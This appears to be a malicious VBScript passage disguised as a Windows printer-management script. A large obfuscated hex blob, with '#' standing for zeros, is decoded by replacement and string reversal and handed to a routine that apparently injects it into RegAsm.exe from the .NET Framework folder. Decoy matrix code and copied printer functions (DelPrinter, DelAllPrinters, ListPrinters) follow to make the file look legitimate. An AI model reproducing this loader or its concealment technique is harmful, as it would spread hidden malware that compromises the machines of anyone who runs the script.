1CDA#####62F66#######6#936#CDA#####62F67#######6#937#CDA#####62F66#11######7#936#11
######92DD9#318#11A#####9F8296E88#11618#11617#118#311#####F4D8A#####94F696E87#11617
#116#117#311#####F4D84D85A67195A6#1F1A#####8FF66#6#31A#####FE3761A#####7FF67#6#A###
##6FF65#117#62A#####94F6#1F1615#116#5#311#####F4D8#1F1CDA#####62F68#######6#938####
###D#DDA7A#####5F37#7##D17A27######B#A36#####17824#119#2#62A#####94F696E84#11614#11
6#4#311#####F4D8#2F1D#A#####4FF695#2F196E8A#####3FF66##2F1A#####3FF66#8#C#A#####2F3
74######4B72#A#####CEF64#####F3B72#7#A#####BEF6817#A#####AEF6717#A#####9EF6#######8
#27#A#####8EF6####1####27#B#A#####7E37A#A#####15373#A7A#####5E37#7##D19727######B#A
33#11####B1####1##5##5##3B1########D#1#5#EE##71##2#########D###BE5C##62##2#########
D###ED47##A6##2#########D###1D53##C9##2#####431#######A25#11CDA#####62F66#######6#9
36#######D#DD5#31A#####3FF66#CDA#####62F67#######6#937#CDA#####62F68#######6#938#CD
A#####62F69#######6#939#######72DDA######5F696E84#11614#116#A#####25F6A6616#4#31A##
###4FF695#2F196E8A#####3FF66##2F1A#####3FF66#9#D#A#####2F374######4B72#A#####1FF68#
A######5F696E83#613#8#A######5F696E8A######FF67#61A######FF67#6#C#A#####FE3771A####
#EEF67#6#A#####DEF67#A#####CEF64#####F3B72#7#A#####BEF6817#A#####AEF6717#A#####9EF6
#######8#27#A#####8EF6####1####27#B#A#####7E37A#####25F6A6#2F16#A#A#####6E37A7A####
#5E37#7##D19727######B#A33#11####A1####1#51##5##3B1########D###E412##D2##2######11#
A2CDA#####62F66#######6#936#######D#DD4######4D7A#####3EF6#4F16#2#4#####F3D7A#####3
EF6#2F16#2#A#A#####2E37####3C#5#24#####14E73#A7A#####1E37#7##D11327######B#93A#####
CC823#A#####A1822#11####91######C5##3##3B11#####D3F####3#3################D###3221#
#11##2#####C11###A27#A261########DD6#####6282A#####75F6CDA#####62F66#######6#936###
####E1DDB#71A#####9DF64#####A3E76#A#A#####8DF671#7##2#FE27A#####38E711####71######3
4##3##3B11#####D3F###B2B2################D###E1E####1##2#####C11#####A27#A261######
##DD6#####6282A#####75F6CDA#####62F66#######6#936#######E1DDB#71A#####6DF62#6#A#A##
###4DF64#####A3E7A#####38E711####71######E3##2##3B11#####D3F###F2F2################
D###2221###1##2#####C11#####A27#A241########DD6#####6282A#####75F6CDA#####62F66####
###6#936#######E1DDB#B1####1#47A#####5DF62#6#A#A#####4DF64#####A3E7A#####38E711####
81######24##2##3B11#####D3F###E2E2################D###12#1##11##2#####C11#######A27
#A261########DD6#####6282A#####75F6CDA#####62F66#######6#936#######E1DDB#71A######E
F6913#2#6#A#A#####FDF6814#####A3E7A#####38E711####71######14##4##3B11#####1#D###D#D
##############11###A24FB2A#####6182##1#68#A#262######D#DD6#####2682616161##########
####B1##3##3B11#####1#6###3232#############11#####A2########DD62######6#DD6#####268
2616171A#####ED82A#####DD82A#####CD376#####466#EF41##############A2##3##3B1A26#4###
##23#8A#####AD37##214#####8#E76111####2#######41##3##3311#####1#6###89A2##E6####1##
###1#6###76A2##D3####1#####1#6###6363############821###A2########DD62######6#DDA###
##9DF6#7##D15#27A#####8DF671#7##C15E27A#####8DF671#7##C13D27A#####38E7##########DD6
2######6#DDA#####9DF6#7##C15F27A#####8DF671#7##C15E27A#####8DF671#7##C13D27A#####38
E7##########DD62######6#DDA#####7DF66#A#####6DF6#7##C15C276#######B#93A#####5DF6#7#
#C15C276#A#A#####4DF6#7##C1DA27A#####38E711####61######F9##3##3B11#####1#6###2323##
###########11#A27#A2#7##2#FE27########DD62######6#DD######11DDB#A#####C3F66#######C
#E3616#####1682####1####26#6######682A#A#####3D37####1####211####51#######4##3##3B1
1#####1#6####1#1#############11###A2########DD62######6#DD626#####A582#8####3##2###
###########71##1##3B1######A2416D2396E8
6#7#B#85717#A28#######2#93A#####2D82A#####1DF62#A######DF68#C#1#####713A7#6#######4
283B#61A#A#####FC8211####41######93##2##3311#####1#D###FAFA################D###D785
##52##2#########D###B6A3##13##2#####821###A24#11########DD4#31#7##C1D92762######D#D
D4#316#######1#83#7##C15927######A#93A#####CC826#A#6#####8582816#CDA#####62F67#####
##6#937#######D#DDCDA#####62F68#######6#938#######D#DD#DD2A#####E9F68#A#A#####5882#
7##C1F827A#####C3F6A#####BCF6#7##C177279#6#D#1#####2847A#####D9F68#######8283C#A###
##C9F6A#####B9F67#B#A#####AC37#7##C19327A#####5882#7##C1D#27A#####CA82#7##C17#27A#A
#####9CE711####31######FB##3##3B11#####1#6###4545#############11###A2########DD62##
####6#DDA#####8C82######5#8362######6#A3526#####6#82A#####7CF6######5#8362######6#A
3526#####8#826#####F5826#####6682######5#936#####5582######F#93A#####91824#####E#E7
##############B5##2##3B1##A26#####8AF66#####BAF64#####11E76#####E9F6#7##B1BF27526##
###BAF6#7##2#FE276#####E9F6#7##41FB27526#####BAF6A#####3C821#21B#A#####2C821#21B#A#
####1C82A#####2737A######C826#####E9F6#7##B15E27526#####BAF66#####75826#####E9F6#7#
#B1FC27526#####BAF64#####D#E76#####E9F6#7##B1BB27526#####BAF66#####C5826#####E9F6#7
##B11A27526#####BAF6A#####CBF6#7##B11#27#7##B15927A#####CBF6#7##B1F727#7##B1B827A##
###FBF6A#####EB82##21A#6#####55826#####E9F6#7##B1F727526#####BAF64#####3#E76#####E9
F6#7##B1F627526#####BAF6A#####57F6A#####47F6A#####37826#####E9F6#7##B15627526#####B
AF6A#####EB82##21A#6#####84826#####E9F6#7##B17527526#####BAF6A#####5882A#####CBF6#7
##B1B427#7##B1F327A#####CBF6#7##B13327#7##B19227A#####EB82##21A#A#####DB82#7##B1522
7A#####CBF641#7##B11127A#####C3F6A#####BB82A#####AB376#####E9F6#7##B1B#27526#####BA
F6A#####C3F6A#####BA826#####E9F6#7##B11#27526#####BAF64#####F#E76#####E9F6#7##A17F2
7526#####BAF6#7##A11E276#####E9F6#7##415927526#####3B3711####21####1#7D##7##3311###
##1#D###5B5B#############11#######A26#11########DD6#31#7##A1FC2762######D#DD6#31A##
###9BF6A#####8BF641F161A#####C3F68#AD2396E89#4#114#3185714#1162A#####7BF6A#####6B82
#7##A19C275#218#5#31194#119#######F1834#3161D#7#C#A#####5B37B#A#####32F67#B#A#####2
2F66#A#####4B82A#####3B37A#A#####2B822A1#####78C8A#####1B82A######B37A#####FA82A###
##EA82A1522AA#####DA8291522AA#####CA8281522AA#####BA8271522A1#####48C8A#####AA82615
21#####1#D8B111####11######5C##4##3B1####A261A#####9AF67#4#####13B72#B#1#####44476#
626#####F4F661##21#7##A1FA274#A#4111#####1######62##4##331########B1##EAAA##4###2##
#######81##4891##B6##2#####C11#####A2CD62A#####6A827#######7#937#62A#####6A826#####
##7#936#######B1DD99C2A#####7AF69#8#96E88#6#CD62A#####6A824#11######8#934#1162A####
#6A827#11######81DD######A4DD######5#93A#####5AF67#114#113#7#312#####F#475#11A#####
4AF65#216#2141414#116#314######3E75#31414#311#####513A618#######A583D#A#####3AE7C#1
#####51D871######99DD######5#A36#626#####E4F661##21##F#7#B#2#####E#47A######682A###
##2A824#####F2E7B#41A#4111####F#######AC##5##3B1####A24#####13B76#6#####B482A#####1
A376#####256#EF6#2#4#####13D7A######A376#A#6#####153711####E#######A2##3##331######
##D###E322##C1##2######11#######A261A271######2#A36#CDA#####62F67#######6#937######
#D#DD8ED2A#####E9F67#A#85716#621#####2847A#####D9F67########183B#A#####C9F6A#####B9
F6A#61A#####A937A#####9937#7##91582711####D#######55##2##3B1####A2FFFFEF4CA36#####7
382A#####618223F1626#####24826#FFFFFFF#A36######4821#216#6#####D3828#######6#936###
##C382#7##91B6279########1A36#####C382#7##91D2279########2A36#####C382#7##9151279##
######3A36#####C382#7##81BF279########4A36#####C382#7##819C279########5A36#####C382
#7##813B279########6A36#####C382#7##8199279########7A36#####C382#7##8118279########
8A36#####C382#7##8196279########9A36#####C382#7##8115279########AA36#####C382#7##81
93279########BA36#####C382#7##8151279########CA36#####C382#7##71DF279#D#4#####D2B77
#C#4#####62B77#######1F936#####F3821#216#4#####42D7A#####6982A#####16822#####B##D1#
212#####B#51EF1#21A#6#####E3826181####1#238311####C#####1#24##2##3311#####1#6###B25
2##6##########11#####A2########DD62######6#DD4#####22#8A#####5937A#####49376#####B3
6#EF41A#####39F64#####22E76#####838261##############23##2##3B11#####D3######6#####2
##9####2##9##############################F#####2#74######C6####1#BD######2#########
######F#####1#86######C2####1#C3######2#1#####1#######6#######97######82######15###
#########4614##A2########DD62######6#DDA#####81826162A#####2882A######8F67152A#####
19F66152A######9F66152A#####18F67152A#####B7F68#1152A#####A737CDA#####62F69#11#####
#7#939#11######F#DDA#####D8F6A#####5882#7##71DE27A#####F8828#11#7##711E279#11A#####
D8F6A#####9682A#####E882#7##719D279#11A#####D8F6A#####5882#7##618D27A#####67F66##7#
#713C279#11A#####D8F6#7##713A279#11A#####D8F6#7##71F8279#119#31A#####C8378#118#31A#
####9682#7##715827A#####B8826#####6582A######5F696E87#11617#117#31A#####A8827#A####
#983771A#####67F66#A#####6182####3#8E#2A#####8882A#####67F66#######5193A#####7882A#
####67F66#CDA#####62F66#11######7#936#11######F#DDA#####68F6A#####5882#7##618D27A##
###67F66##7##618D27A#####D782A#####C7F66#6#116#31A#####48F681A#####D1F6A#####C182#7
##712#27A#####7682A#####38E7######C58362A#####28825#11A#####18F6715#11A######8F6715
#11A#####F7F6A#####E7822A#7##61EE27B1522AA#####67F66#A1522A#7##61CD2791522AA#####D7
82A#####C7F66#81522A#7##618D2771522AA#####D1F6A#####C182#7##61D427A#####768261521##
###44D8C15#11A#####B7F6#7##6154275#115#31A#####A737######88936#####5582FB2396E88#9#
D#85719#########DD62######6#DDA#####97F64#11######7#93A#####A282A#####67F66#A#####5
7F6A#####47F64#114#311#####C63A9#8#######B383D#61C#A#####8782####2##593A#####7782A#
####67F66#7#B#A#####57F6A#####47F6A#####3782A#A#####2737A#####17824#####6#E7A######
7824#####5#E711####B#####2#79##6##3B1######A26#A#61######2##4A1A#####E682A#7111####
2#######11##2##3311#####D392##2626#############11#A2########DDA#####C682A#####D6F64
#11#7##517F27A#####C682A#####75F64#11#7##517F274#31######92DDA#####B68296E82#8#612#
626#####23F63#21#4F1A#####A682A696E82#8#4#####12E7C#6#####D2821#21B#A#####D1F6A####
#C182#7##51DC27A#####76826#####C282##21A#A#####D1F6A#####C182#7##513B27A#####768211
####A#######C8##5##3B1####A26#####9282A#####C1827#A26#####9282A#####C1826#######C#9
36#####A282B#A#####9682#7##515A277#B##7##517927A#A#####9682#7##51D8276#A##7##513827
11####9#######64##2##331######A26#####5282A#####66F64#####4#E74#####E#E74#####8#E74
#####23E76#####99F66#####E9F6#7##51D4272#4#####F#E74#####B#E76#####6#826#4######2E7
A#####56B74######2E74######2#8A#####4682A#####36822AA#####26824171E1522AA#####26824
171D1522AA#####26824171C1522AA#####26824171B1522AA#####26824171A1522AA#####26824171
91522AA#####2682417181522AA#####2682417171522AA#####2682416161521#####16D89#F1A####
#16822#####4##D41#7##515427####1####2######58A34######2E7A#A######682A#####F5F6#7##
519227A#####E5F66#####1C826#####86826#####AAF66#####E9F6#7##413F272#A#####D58211###
#8#####1#11##B##3311#####D3######F#####1#CC####1#CC##############################E#
####1#9B######75####1#26######2#1#####D3######F#####1#D1######97######4A###########
#C414A2########DD6#####6282A#####75F6######F#DDCDA#####62F6B1####3#61EF2#21######E#
DD3BD2A#####C5822#2162A#####B5F69#4#####F1E76#####42829#######2193A#####A2826#####A
AF66#####E9F6#7##51F1276#6#####AAF66#####E9F6#7##413F279#D#A#####A5822#21######4483
C#A#####95F6B2####1#824#####F1E7626#####76826#####99F66#####E9F6#7##413F276#6#####A
AF66#####E9F6#7##51F1276#######B9DD6#####6282A#####75F6######AADD6#####42826#######
6#836######2826#####8AF66######AF66#####AAF66#####E9F6#7##413F276#6#####E9F6#7##511
127526######AF6#7##41BF276#####E9F6#7##415927526#####3B37A#####65F66#4#####F1E7####
##45A36#####86826#####AAF66#####E9F6#7##413F276#######1#42836#####8182616######2826
#####8AF66#####39F6A66#####71826#####E9F6#7##41FA27526######AF6#7##41FB276#####E9F6
#7##415927526#####3B376#####A18261####1#F683######9DA3A#####A282#7##41BD277########
6A3A#####A282#7##41BC277#######52A3A#####A282#7##41FB277#B#6#####AAF66#####E9F6#7##
4159276#6#####5AF6B1####1#472#6#A#6#####3B3711####7#####1#CD##4##3B11#####1#6###525
2#############11#A2########DD62######6#DD6#####818285716#####7182######C#936#####21
82######61936#####9182##############C2##2##3B11#####1#6###9494#############11#A2###
#####DD62######6#DD6#####A18271A#####55826######2826#####8AF66#####BAF66#####C5826#
####E9F6#7##41FA27526#####BAF6#7##415A276#####E9F6#7##415927526#####3B37###########
####5##3##3B1########D###6FEE##8###2#1#####1#C###AEAD###1############D###2BA5##85##
2#####821#A2CDA#####45826#######6#937#######D#DD6#####31826162######91DDA#####35F66
#####8#82A######5F696E82#612#6#####8#8262A#####F4F671516#####6#82CDA#####62F69#####
##6#939#######33DD7C#3614#3152A#####94F696E85#11615#119#A#####35F66#####8#82A######
5F64#11615#116#####8#8262A#####F4F671516#####6#82######62835#311#####F4D8####3C#5#2
A#####25F6A6619#4#3161D#A#####15372#######E6E3##F#24#4#296E82#A######5F696E88#618#6
#####8#8262A#####F4F671516#####6#82C#A#####E48296E82#######4EDD######5#A36#####2182
A#####D4821#216#B#61A#6#####418211####6#####1#4###4##3B11#####1#######C#####1#DA###
#1#DA####################C114####A2########DD6#####31826162######C#DD6#####318261##
####6#8362A#####14F641A######4376#####F16#EF41966#####C#82966#####E#826#####A#826##
###8#82######54DD6#####318261######B#C3A6616#####C#82######71836#####F#82A6616#####
B#821#####F4D84D6#####C#826#####D#82A6A1######A3836#####B#821#####F4D84D6#####C#826
#####D#82A6A16#####F#82A661A#####C4F66#####A#82A#####B437A#####A4376#####326#EF4189
#3A6616#####C#82######6CDD6#####318261######B#C3A6616#####C#826#####D#8295A67#6####
#C#826#####F#8285A67#6#####E#82######7FDD6#####318261######B#D3617#B#A#####94F6966#
####C#82966#####E#826#####A#826#####8#82######F5836#####B#821#####F4D84D6#####C#826
#####F#82A661######2CE3A6616#####C#826#####D#82A6A#####8482616#####A#82####1#2#A36#
####C#826#####D#8295A66#6#####C#826#####F#8285A66#6#####E#82####1#B6E3616#A#A#####7
4F62#6#####8#82####1#59DD6#####318261######B#A36#####2182######A#93A######3F66#####
6#8211####5#####1#AB##6##3B11#####1#6###D5D5#############11#####A26#####318261#####
###DD62######6#DDA#####6482######5#8362######6#A3526#####6#82A#####5482######5#8362
######6#A3526#####8#82A#####4482######5
#8362######6#A3526######182A#####4482######5#8362######6#A3526#####5182############
##A6##2##3B11#####1#######C#####2#4E####2#4E##############################F#####1#3
A######28####1#12######2#1#####1#######6#######4F######62######EC############C414##
####A2########DD6#####31826162######C#DD6#####318261######6#8362A#####14F641A######
4376#####F16#EF41966#####C#82966#####E#826#####A#826#####8#826#####6182A#####F33771
7141A#####E3376#####226#EF416#####1182A#####F337A#####73F6####A389#2####72#1#2A####
#C237A#####73F6####A389#2####72#1#2A#####C23741A#####E3376#####126#EF416#####A18261
6#####8182616######2826#####45826#####F#82A6616#####B#821#####F4D84D6#####C#826####
#D#82A6A1A#####D3F661#######C#2411#####443A61A#####B2F6D9A3F161521#####54D871A#####
C3F6A#####B3F66#####6#826#####8#826#####9#82A#####A337A#####93376#####D16#EF4161A##
###8337716#####6#826#####318271####1#8193A######3F66#####6#82CDA#####62F65#11######
7#935#11######F#DDA#####13F6A#####71824#####1#E74#####2#E76#####6#824#####1##81####
#443AA#####73F696E87#1171A#####C2377#114#####2##81#####443A617#117#31A#####63F6612A
#7##41192761521#####44D871A#####53F64#####D#E75#11A#####43F66#115#116#31A#####3337#
7##2#FE27#7##2#FE275#31A#####2337######8983A#####13F67#6#6#####6#82######9A831C2396
E88#9#D#85719#########DD62######6#DD######3CDD######5#93A######3F66#####6#82A#####F
2F67#4#116#####6#824#311#####E33A9#8#######9383D#61C#A#####E2826#######25936#####C1
826#B#A#####7182A9A#####D2F696E8A#####B2F6D9C2F161521#####54D8714#####1#E7A#####C23
7A#####B2F6D9C2F161521#####54D8714#####1#E7A#A9A#####D2F696E8A#####B2F6D9C2F161521#
####54D8714#####2#E7A#####C237A#####B2F6D9C2F161521#####54D8714#####2#E7######3E93A
#####A282#7##4178274#####D#E76#####7#82A#####92F6####8C###252A#####82F6####8C###252
A#####7237C1718111####4#####2#1F##7##3B1##A24#####31#8#7##314D274#####21#8#7##31122
74#####11#8#7###1E6274######1#8#7###1A6274#####F##8414#####E##8#7##F#7B274#####D##8
#7##F#4#274#####A##8#7##C#9A274#####9##8#7##4#62274#####8##8#7##3#B4274#####7##8#7#
#2#1F274#####6##8#7##2#FE274#####5##8#7##2#BD274#####4##8#7##2#82274#####3##8#7##1#
57274#####2##8#7####2C274#####1##8#7####F#27##############7A##1##3311#####D38###D5D
5################D####553##B1##2#####C11###A28#########DDC#6162CDA#####62F67#######
6#937#######51DDC#A#####52F6A#####C1824#####A#E7A#####4282#7####1#27A#####32F6A####
#22F64#####7#E7A#####B1827#6#B#A#####1237A#1#####6347A######2F6A#####F1F64#####B#E7
11####3#######76##4##3B11#####1#######8#####1#73####1#73####################C114###
###A26#########DDA#6162######8#DDA#6#####4#824#####B##8A#####E137A#####C1826#####F6
F64#####9#E74#####C#E74#####A##86#####F6F64#####A#E74#####C#E74#####F##86#####35824
#####11#86#####F6F64#####11E74#####C#E74#####E##86#####F6F64#####E#E74#####C#E74###
##21#86#####F6F64#####21E74#####C#E74#####31#86#####F6F64#####31E74#####C#E74#####D
##86#####F6F64#####D#E74#####C#E74#####8##86#####F6F64#####8#E74#####C#E74#####4##8
6#####F6F64#####4#E74#####C#E74#####3##86#####F6F64#####3#E74#####C#E74#####2##86##
###F6F64#####2#E74#####C#E74#####1##86#####F6F64#####1#E74#####C#E74#####C##86#####
C6374#####7#E74#####7##8A#####D1F6A#####C1824#####7#E7A#####B18211####2#####1#14##2
##3B11#####1#6###BD91##2C####1#####1#6###BB88##33########C11#######4DB2A#####6182##
##3188#2########DD62######6#DD6#####B1826#####E182######A#A36#####2182##########DD6
2######6#DD6#####82826#####D582######5#936#####55826#####B5826#####5382######5#93A#
####91824#####4#E76#####5682######5#936#####5582######F#93A#####91824#####E#E76####
#9382######5#93A#####91824#####21E7A#####818261######6#A36#####E5826#####5482######
5#93A#####91824#####31E7##A#####818261######6#A36#####3#825E23A#####71824######1E76
#A#85716#A#####6182####3#8E#2######E#83A#6111####1#######DE##2##3B1####A2A###1#2#F6
######2C#22#A2A###1#2#F6######3C#22#######C#933#A7A2A######5F6A1616#####7782A###1#1
1823#2#A###1#2#F6######AC#22#E7A2A######5F6E1616#####B7823#2#A###1#2#F6######BC#22#
A6A2A###1#2#F6#######C#22#23A26#####6B822#2DA###1#51F62#A3A2A#####A1822#4#####C4D7A
#####86372#A4A26#####E7374#####C4B72#23A24#####A4B72#E1A26#####4A823#2#22A26#####79
822#E1A26#####39823#2#22A26#####69822#E1A26######A823#2#22A26#####1A822#E1A24#####9
4D71#####4AC83#2#4#####A4D7E12#25A24#####94D71#####5AC83#2#4#####A4D79#F12#65A24###
##94D71#####B8C83#2#4#####A4D7D12#25A2A#####C3F64#####94B72#A2#7##2#FE27######6#A34
#####94B72#67A24#####A4D7A12#4#####94D73#2#E3A24#####A4D7712#4#####94D7412#6#####A8
822#65A26#####39F6A64#4#####74D73#526#####F8822#65A26######AF64#4#####74D73#526####
#F8822#25A24#####A4D7B#F12#4#####94D73#2#24A24#####A4D7C12#4#####94D71#####3AC83#2#
25A24#####A4D7B12#4#####94D71#####78C83#2#25A26#####F8822#E1A26#####B8822#4#####A4D
7912#6#####A8822#######D#B3914#####A4B72#28A26#####B8822#4#####A4D7812#6#####A8822#
######D#B3814#####A4B72#28A24#####84D7A#####FBF64#####74B72#2#4#####74D73#2#66A2A##
###FFF64#####54B72#23A2A#####EFF63#4#####54B72#63A26#####4AF63#526######9F64#####64
B72#E4A26#####39F63#526######9F64#####64B72#E4A26#####BAF63#526######9F64#####64B72
#E4A26######9F64#####64B72#23A24#####54D74#2#4#####64D73#2#A#####A1822#65A24#####44
D7512#22A24#EFA#####FFF64#####34B72#4#####44B72#4#####44D785714#####44B72#2#A8A2A##
###EFF64#####44B72#4#####34B72#A4A24#####34D73#2#A#####A1822#4#####44D7512#65A24###
##24#8A#####DF37E2A26#####7782A#####CF822#23A2C92D36E12#6152C92D2#71521#####F4D881E
4A2C92D3681F12#6152C92D36#1F12#7152C92D36E12#8152C92D2#91521#####F4D8A1E8A26#####77
82A#####BF822#23A2A#####D1F62#4#####24E723A2A#####22F62#4#####24E723A24#####14#8A##
###22F6#7##D1DF27A#####4B8265A2A#####D1F66######782A#####C1823#2#A#####B182E5A2A###
##4E826#####E682A#####22F63#A#####B1822#E5A24#####A3#8A#####96824#####F#E7#7##D1D12
765A26#####6682######5#936#####5582######F#93A#####91824#####E#E7E7A24#####73#8A###
##6982A#####16822#####71#D65A24#####23#841A#####BDF64#####23E7#######1934#####23E7E
6A22####1A#####ECF6953#A#####DCF62#2########1E33#A#####DCF62#A7A2A#####6CF6####2##2
#2A#####5C37A#####4C8265A24######3#8A#####8A37#7##A116274#####F2#8A#####8A37#7##A13
1274#####E2#8A#####8A37#7##915C27ABA2A#####F9F66#####A4824#####E2E724A271A261######
2#A3E86#####9482E3A2A#####6182####3#8E#2A#####898241######6#936#####6482E6A24#####2
2#8A#####5937A#####49376#####B36#EF41E5A2626#####2482626#####348261526#####14822#61
71E5A2A#####79F6913#2#62A2A#####29F64#####22E76#####83827164A24#####32#82#E1A24####
#32E7A1A24#####12#8B2####2#82A#####D1F6A#####C182#7##61B127A#####7682#7##619#2729A2
B1####6#5AA#####F682A#####1682B1####6##D6#####D2821#F#6#####C282##F#E8A24#####F1#8A
#####86374#####B1#8A#####A13765A26######2826#####8AF66#####BAF62#6#####E9F6#7##5177
27526#####BAF6#7##5177276#####E9F6#7##415927526#####3B37ADA2A#####6182####3#8E#26##
####2826#####8AF66#####BAF6A#####D1F6A#####C182#7##51D527A#####76826#####E9F6#7##41
5927526#####3B37AFA2A#####34F63#4#####B#E723A23#EF61A#####24822#A2A24#####E1#82#E1A
24#####E1E7A1A24#####D1#82#E1A24#####D1E7A1A24#####C1#82#E1A24#####C1E7A1A24#####B1
E7A1A24#####A1#82#E1A24#####A1E7A1A24#####91#82#E1A24#####91E7A1A24#####81#82#E1A24
#####81E7A1A24#####71#82#E1A24#####71E7A1A24#####61#82#E1A24#####61E7A1A24#####51#8
2#E1A24#####51E7A1A24#####41#82#E1A24#####41E7A1A2A#####A1822#E1######C5##F2##E2###
###################################################################################
##########6#####1#######1#####F68B####D54B##5###2#######84############DC#A#########
#######################24#####4############################EB######2#####1#########
##C#####36F6C65627E2#4#####4#############################B######E########E######D#7
F######36273727E2#6#####2############################2#######EA#######2######DA4C##
####47875647E2######################84#####28#######################8######2#######
###################################################################################
##############C###1#########################################D#7F#####E########F4###
#DCC6#######################1#############1#####1#########1#####1####58#4##2#######
######2#####1##2################4###############4#####2########2#####4#########E###
####2######DCEB#############1######EA####8#1#B###2####E#################639A#B###3#
1#C4####54#5##############42A#D#D#E25646F6D6#235F444#2E696#2E65727#25626#247F6E6E61
636#2D6162776F627#7#23796864512DCC41#8B12DC9#4B##E#ABF1E########8##################
#####################################################4##############8B####FFFF#####
#4#######3####9A5D4"

ss = replace(ss, "#", "0")

ss = StrReverse(ss)
tt = xx.ExpandEnvironmentStrings("%windir%") & "\" & p1 & p2 & p3 & p4 & "\
v4.0.30319\Re" & "gA" & "sm.exe"
jj ss, tt
jj ss, tt
jj ss, tt

rowsCount = 5
columnsCount = 3

ReDim data(rowsCount, columnsCount)


Randomize
For x = 1 To rowsCount
For y = 1 To columnsCount
data(x, y) = Int((75 * Rnd) + 1)
Next
Next

For x = 1 To rowsCount
For y = 1 To columnsCount
totalSum = totalSum + data(x, y)
If data(x, y) <> 0 Then
If totalProduct = 0 Then
totalProduct = data(x, y)
Else
totalProduct = totalProduct * data(x, y)
End If
End If
Next
Next

PrintMatrix data, rowsCount, columnsCount


PrintResults totalSum, totalProduct

Sub PrintMatrix(matrix, rowCount, colCount)


Dim i, j

For i = 1 To rowCount
For j = 1 To colCount

Next

Next
End Sub
Sub PrintResults(sum, product)

End Sub

function DelPrinter(strServer, strPrinter, strUser, strPassword)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text


DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & strServer
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & strPrinter

dim oService
dim oPrinter
dim iRetval

iRetval = kErrorFailure

if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then

set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")

else

DelPrinter = kErrorFailure

exit function

end if

'
' Check if Get was successful
'
if Err.Number = kErrorSuccess then

oPrinter.Delete_

if Err.Number = kErrorSuccess then

wscript.echo L_Text_Msg_General05_Text & L_Space_Text & strPrinter

iRetval = kErrorSuccess

else

wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter &


L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text &
hex(Err.Number) _
& L_Space_Text & Err.Description

'
' Try getting extended error information
'
call LastError()

end if

else
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter &
L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description

'
' Try getting extended error information
'
call LastError()

end if

DelPrinter = iRetval

end function

'
' Delete all local printers and connections on a machine
'
function DelAllPrinters(kAction, strServer, strUser, strPassword)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text

dim Printers
dim oPrinter
dim oService
dim iResult
dim iTotal
dim iTotalDeleted
dim strPrinterName
dim bDelete
dim bConnection
dim strTemp

if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then

set Printers = oService.InstancesOf("Win32_Printer")

else

DelAllPrinters = kErrorFailure

exit function

end if

if Err.Number <> kErrorSuccess then

wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text &


L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text &
Err.Description

DelAllPrinters = kErrorFailure

exit function
end if

iTotal = 0
iTotalDeleted = 0

for each oPrinter in Printers

strPrinterName = oPrinter.DeviceID

bConnection = oPrinter.Network

if kAction = kActionDelAll then

bDelete = 1

iTotal = iTotal + 1

elseif kAction = kActionDelAllCon and bConnection then

bDelete = 1

iTotal = iTotal + 1

elseif kAction = kActionDelAllLocal and not bConnection then

bDelete = 1

iTotal = iTotal + 1

else

bDelete = 0

end if

if bDelete = 1 then

if bConnection then

strTemp = L_Space_Text & L_Connection_Text & L_Space_Text

else

strTemp = L_Space_Text

end if

'
' Delete printer instance
'
oPrinter.Delete_

if Err.Number = kErrorSuccess then

wscript.echo L_Text_Msg_General05_Text & strTemp &


oPrinter.DeviceID

iTotalDeleted = iTotalDeleted + 1
else

wscript.echo L_Text_Msg_General06_Text & strTemp & strPrinterName _


& L_Space_Text & L_Error_Text & L_Space_Text &
L_Hex_Text _
& hex(Err.Number) & L_Space_Text & Err.Description

'
' Try getting extended error information
'
call LastError()

'
' Continue deleting the rest of the printers despite this error
'
Err.Clear

end if

end if

next

wscript.echo L_Empty_Text

if kAction = kActionDelAll then

wscript.echo L_Text_Msg_General09_Text & L_Space_Text & iTotal


wscript.echo L_Text_Msg_General10_Text & L_Space_Text & iTotalDeleted

elseif kAction = kActionDelAllCon then

wscript.echo L_Text_Msg_General16_Text & L_Space_Text & iTotal


wscript.echo L_Text_Msg_General17_Text & L_Space_Text & iTotalDeleted

elseif kAction = kActionDelAllLocal then

wscript.echo L_Text_Msg_General18_Text & L_Space_Text & iTotal


wscript.echo L_Text_Msg_General19_Text & L_Space_Text & iTotalDeleted

else

end if

DelAllPrinters = kErrorSuccess

end function

'
' List the printers
'
function ListPrinters(strServer, strUser, strPassword)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text

dim Printers
dim oService
dim oPrinter
dim iTotal

if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then

set Printers = oService.InstancesOf("Win32_Printer")

else

ListPrinters = kErrorFailure

exit function

end if

if Err.Number <> kErrorSuccess then

wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text &


L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text &
Err.Description

ListPrinters = kErrorFailure

exit function

end if

iTotal = 0

for each oPrinter in Printers

iTotal = iTotal + 1

wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID
wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName
wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName
wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName
wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment
wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location
wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SepFile
wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text &
oPrinter.PrintProcessor
wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text &
oPrinter.PrintJobDataType
